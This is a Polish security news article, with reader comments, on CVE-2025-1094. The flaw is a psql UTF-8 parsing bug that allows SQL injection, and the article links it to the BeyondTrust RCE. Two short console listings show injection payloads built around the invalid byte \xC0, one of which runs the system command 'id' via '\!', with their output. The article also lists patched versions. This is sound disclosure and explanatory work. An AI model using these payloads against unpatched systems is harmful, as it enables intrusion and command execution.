Bezpłatne Dni Otwarte Sekurak Academy! Hackowanie na żywo, szkolenia, ebooki, …
Czy możliwy jest atak SQL Injection w 2025 roku? Tak, poprzez parsowanie znaków w psql
Ostatnio głośno było o atakach na Departament Skarbu, które zostały przypisane chińskim grupom APT. Atakujący wykorzystywali podatności w produktach BeyondTrust Privileged Remote Access oraz Remote Support, które pozwalały na zdalne wykonanie poleceń. Podatności zostały sklasyfikowane jako CVE-2024-12356.
TLDR:
- Firma Rapid7 badała wykorzystywaną przez przestępców podatność oznaczoną jako CVE-2024-12356 klasy RCE w produkcie BeyondTrust.
- Badacze dowiedli, że do osiągnięcia RCE potrzebna jest eksploitacja podatności SQL Injection, wynikająca z błędów parsowania znaków UTF-8 w… psql
W czasie poszukiwań RCE, badacze z Rapid7 natknęli się na podatność SQL Injection w interaktywnym narzędziu psql do zarządzania bazami danych PostgreSQL. Nowa podatność została oznaczona jako CVE-2025-1094 i wyceniona została na 8.1 w skali CVSS.
psql to popularna aplikacja konsolowa, która umożliwia wykonywanie zapytania w języku SQL. Z powodu błędnej obsługi kodowania UTF-8, aplikacja pozwalała na przedwczesne zakończenie zapytania SQL i wstrzyknięcie kolejnego. W tym kontekście, klientem bazy danych jest psql. To on przetwarza zapytania wysyłane przez użytkownika. I o ile nieracjonalnym byłoby zgłaszanie błędu SQL Injection polegającym na zmianie parametrów wpisywanego zapytania, o tyle w tym kontekście chodzi o wykorzystanie specyficznych znaków, które “psują” sposób parsowania składni SQL pozwalając na wykonanie dodatkowych zapytań.
myexamplecompany@localhost /var/tmp $ quoted=$(echo -e "hax\xC0'; foo" | ./dbquote)
myexamplecompany@localhost /var/tmp $ echo "SELECT COUNT(1) FROM gw_sessions WHERE session_key = $quoted AND session_type = 'sdcust' AND (expiration IS NULL OR expiration>NOW())" | $db -e
SELECT COUNT(1) FROM gw_sessions WHERE session_key = 'hax└';
ERROR: invalid byte sequence for encoding "UTF8": 0xc0 0x27
foo' AND session_type = 'sdcust' AND (expiration IS NULL OR expiration>NOW())
ERROR: syntax error at or near "foo"
LINE 1: foo' AND session_type = 'sdcust' AND (expiration IS NULL OR ...
Listing 1. Prezentacja wykonania polecenia z błędnym znakiem. psql wykorzystuje przełącznik -e do bardziej przejrzystego zaprezentowania wykonywanych zapytań
Wartość umieszczona za niepoprawnym znakiem \xC0 została potraktowana jako kolejne zapytanie.
Co ciekawe wykonywanie zapytań SQL to nie jedyna funkcja psql, okazuje się, że wykorzystując znak wykrzyknika możliwe jest wykonywanie poleceń systemowych. Stosując tę samą metodę, która posłużyła do stworzenia dodatkowego query, można wymusić na programie wykonanie polecenia, czyli w efekcie osiągnąć ACE (arbitrary code execution).
myexamplecompany@localhost /var/tmp $ quoted=$(echo -e "hax\xC0'; \! id # " | ./dbquote)
myexamplecompany@localhost /var/tmp $ echo "SELECT COUNT(1) FROM gw_sessions WHERE session_key = $quoted AND session_type = 'sdcust' AND (expiration IS NULL OR expiration>NOW())" | $db -e
SELECT COUNT(1) FROM gw_sessions WHERE session_key = 'hax└';
ERROR: invalid byte sequence for encoding "UTF8": 0xc0 0x27
uid=1000(myexamplecompany) gid=1000(myexamplecompany) groups=1000(myexamplecompany),16(cron),70(postgres)
Listing 2. Wykonanie polecenia systemowego z wykorzystaniem błędnego sposobu parsowania UTF-8
Błąd został zgłoszony 27 stycznia, natomiast publiczna informacja oraz łatki zostały opublikowane 13 lutego. Podatność została załatana w wersjach 17.3, 16.7, 15.11 14.16 oraz 13.9. Użytkownikom zaleca się natychmiastowe zaaplikowanie łatek, ponieważ psql potencjalnie może być wywoływany przez inne programy, co zwiększa ryzyko ataku.
Podatność sama w sobie ma ograniczoną przydatność dla atakującego, jednak może stanowić element większej układanki tak jak w przypadku produktów BeyondTrust.
~fc
Literówka: prasowanie -> parsowanie
prasowania zamiast parsowania
kto używa psql jako klienta sql zamiast natywnego drivera?
Używa pewnie nikt. Czy ma go zainstalowanego na maszynie aplikacyjnej, to inna sprawa.
Zainstalowanie psql (postgresql-client) nie wpływa na bezpieczeństwo systemu.
SQLInjection możliwy byłby, gdyby ktoś używał by psql zamiast bibliotek kliencki PostgreSQL i nie filtrował parametrów w warstwie aplikacji. Czyli do przeprowadzenia SQL injection potrzebne jest złożenie następujących czynników:
1. aplikacja po stronie serwera pobiera dane od użytkownika
2. aplikacja nie filtruje danych, lub filtruje je niewystarczająco
3. aplikacja uruchamia proces psql by uzyskać dostęp do bazy danych (zamiast bibliotek klienta).
4. aplikacja zwraca komunikat błędu do użytkownika.
Powiedzmy, że prawdopobieństwo zdarzeń wynosi:
1. 99%
2. 50% (błąd w aplikacji)
3. 0.1% – nigdy nie słyszałem, by ktoś tak łączył się do bazy (należy to traktować jako błąd w architekturze aplikacji)
4. 1% (błąd w konfiguracji aplikacji, bardzo rzadko dziś już spotykany)
Czyli, żeby przeprowadzić SQL injection potrzeb było by złożenia jeszcze 3 błędów: implementacji, projektu, i konfiguracji. Moim zdaniem, prawdopodobieństwo tych błędów, jest ekstremalnie niskie.
Mówienie, że program kliencki którego zadaniem jest wykonywanie zapytań SQL może prowadzić do SQLInjection, jest mocnym nadużyciem, gdyż tylko złożenie błędów i nieprawidłowe użycie tego programu – może do tego prowadzić.